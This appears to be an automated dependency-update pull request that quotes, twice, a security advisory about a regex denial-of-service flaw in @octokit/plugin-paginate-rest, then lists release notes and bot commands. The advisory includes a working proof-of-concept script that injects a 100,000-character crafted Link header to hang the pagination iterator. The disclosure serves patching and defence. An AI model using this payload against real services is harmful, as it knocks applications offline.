🚨 @octokit/plugin-paginate-rest has a Regular Expression in iterator Leads to ReDoS Vulnerability Due to Catastrophic Backtracking

Summary

For the npm package@octokit/plugin-paginate-rest, when callingoctokit.paginate.iterator(), a specially craftedoctokit instance—particularly with a maliciouslink parameter in theheaders section of therequest—can trigger a ReDoS attack.

Details

The issue occurs atline 39 of iterator.ts in the @octokit/plugin-paginate-rest repository. The relevant code is as follows:

url=((normalizedResponse.headers.link||"").match(/<([^>]+)>;\s*rel="next"/,)||[])[1];

The regular expression/<([^>]+)>;\s*rel="next"/ may lead to a potential backtracking vulnerability, resulting in a ReDoS (Regular Expression Denial of Service) attack. This could cause high CPU utilization and even service slowdowns or freezes when processing specially craftedLink headers.

PoC

The gist of PoC.js

1. run npm i @octokit/plugin-paginate-rest
2. run 'node poc.js'
   result:
3. then the program will stuck forever with high CPU usage

import{Octokit}from"@octokit/core";import{paginateRest}from"@octokit/plugin-paginate-rest";
constMyOctokit=Octokit.plugin(paginateRest);
constoctokit=newMyOctokit({
auth:"your-github-token",
});
// Intercept the request to inject a malicious 'link' header for ReDoS
octokit.hook.wrap("request",async(request,options)=>{
constmaliciousLinkHeader=""+"<".repeat(100000)+">";// attack string
return{
data:[],
headers:{
link:maliciousLinkHeader,// Inject malicious 'link' header
},
};
});
// Trigger the ReDoS attack by paginating through GitHub issues
(async()=>{
try{
forawait(constnormalizedResponseofoctokit.paginate.iterator(
"GET /repos/{owner}/{repo}/issues",{owner:"DayShift",repo:"ReDos",per_page:100}
)){
console.log({ normalizedResponse});
}
}catch(error){
console.error("Error encountered:",error);
}
})();

Impact

What kind of vulnerability is it?

This is aRegular Expression Denial of Service (ReDoS) vulnerability, which occurs due to excessive backtracking in the regex pattern:

/<([^>]+)>;\s*rel="next"/

When processing a specially craftedLink header, this regex can cause significant performance degradation, leading to high CPU utilization and potential service unresponsiveness.

Who is impacted?

• Users of@octokit/plugin-paginate-rest who calloctokit.paginate.iterator() and process untrusted or manipulatedLink headers.
• Applications relying on Octokit's pagination mechanism, particularly those handling large volumes of API requests.
• GitHub API consumers who integrate this package into their projects for paginated data retrieval.

🚨 @octokit/plugin-paginate-rest has a Regular Expression in iterator Leads to ReDoS Vulnerability Due to Catastrophic Backtracking

Summary

For the npm package@octokit/plugin-paginate-rest, when callingoctokit.paginate.iterator(), a specially craftedoctokit instance—particularly with a maliciouslink parameter in theheaders section of therequest—can trigger a ReDoS attack.

Details

The issue occurs atline 39 of iterator.ts in the @octokit/plugin-paginate-rest repository. The relevant code is as follows:

url=((normalizedResponse.headers.link||"").match(/<([^>]+)>;\s*rel="next"/,)||[])[1];

The regular expression/<([^>]+)>;\s*rel="next"/ may lead to a potential backtracking vulnerability, resulting in a ReDoS (Regular Expression Denial of Service) attack. This could cause high CPU utilization and even service slowdowns or freezes when processing specially craftedLink headers.

PoC

The gist of PoC.js

1. run npm i @octokit/plugin-paginate-rest
2. run 'node poc.js'
   result:
3. then the program will stuck forever with high CPU usage

import{Octokit}from"@octokit/core";import{paginateRest}from"@octokit/plugin-paginate-rest";
constMyOctokit=Octokit.plugin(paginateRest);
constoctokit=newMyOctokit({
auth:"your-github-token",
});
// Intercept the request to inject a malicious 'link' header for ReDoS
octokit.hook.wrap("request",async(request,options)=>{
constmaliciousLinkHeader=""+"<".repeat(100000)+">";// attack string
return{
data:[],
headers:{
link:maliciousLinkHeader,// Inject malicious 'link' header
},
};
});
// Trigger the ReDoS attack by paginating through GitHub issues
(async()=>{
try{
forawait(constnormalizedResponseofoctokit.paginate.iterator(
"GET /repos/{owner}/{repo}/issues",{owner:"DayShift",repo:"ReDos",per_page:100}
)){
console.log({ normalizedResponse});
}
}catch(error){
console.error("Error encountered:",error);
}
})();

Impact

What kind of vulnerability is it?

This is aRegular Expression Denial of Service (ReDoS) vulnerability, which occurs due to excessive backtracking in the regex pattern:

/<([^>]+)>;\s*rel="next"/

When processing a specially craftedLink header, this regex can cause significant performance degradation, leading to high CPU utilization and potential service unresponsiveness.

Who is impacted?

• Users of@octokit/plugin-paginate-rest who calloctokit.paginate.iterator() and process untrusted or manipulatedLink headers.
• Applications relying on Octokit's pagination mechanism, particularly those handling large volumes of API requests.
• GitHub API consumers who integrate this package into their projects for paginated data retrieval.

Too many releases to show here. View thefull release notes.

See the full diff on Github. The new version differs by 2 commits:

• fix(types): add back the pagination keys (#653)
• chore(deps): update dependency prettier to v3.5.1 (#658)

@​depfu rebase

Rebases against your default branch and redoes this update

@​depfu recreate

Recreates this PR, overwriting any edits that you've made to it

@​depfu merge

Merges this PR once your tests are passing and conflicts are resolved

@​depfu cancel merge

Cancels automatic merging of this PR

@​depfu close

Closes this PR and deletes the branch

@​depfu reopen

Restores the branch and reopens this PR (if it's closed)

@​depfu pause

Ignores all future updates for this dependency and closes this PR

@​depfu pause [minor|major]

Ignores all future minor/major updates for this dependency and closes this PR

@​depfu resume

Future versions of this dependency will create PRs again (leaves this PR as is)